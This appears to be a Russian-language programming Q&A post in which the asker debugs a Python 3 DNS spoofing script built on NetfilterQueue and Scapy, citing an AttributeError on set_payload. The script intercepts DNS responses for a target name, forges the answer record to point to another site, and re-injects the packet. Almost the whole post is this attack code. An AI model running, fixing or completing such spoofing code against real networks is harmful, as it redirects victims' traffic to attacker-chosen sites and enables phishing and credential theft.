Netfilterqueue, Scapy set_payload - PullRequest
       33

Netfilterqueue, Scapy set_payload

0 голосов
/ 13 июля 2020

Я пытаюсь изменить полезную нагрузку пакета с помощью NetfilterQueue и Python3, однако получаю сообщение об ошибке:

AttributeError: объект netfilterqueue.Packet не имеет атрибута set_payload

Ниже приведен код, который я использую. Как исправить ошибку?

import netfilterqueue
import scapy.all as scapy

def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.DNSRR):
        qname = str(scapy_packet[scapy.DNSQR].qname)
        print(qname)
        if "<web_address>" in qname:
            print("[+] Spoofing target...")
            answer = scapy.DNSRR(rrname = qname, rdata = "<web_site>")
            scapy_packet[scapy.DNS].an = answer
            scapy_packet[scapy.DNS].ancount = 1
            del scapy_packet[scapy.IP].len
            del scapy_packet[scapy.IP].chksum
            del scapy_packet[scapy.UDP].chksum
            del scapy_packet[scapy.UDP].len
            packet.set_payload(str(scapy_packet))
    packet.accept()

queue = netfilterqueue.NetfilterQueue()
queue.bind(0,process_packet)
queue.run()
...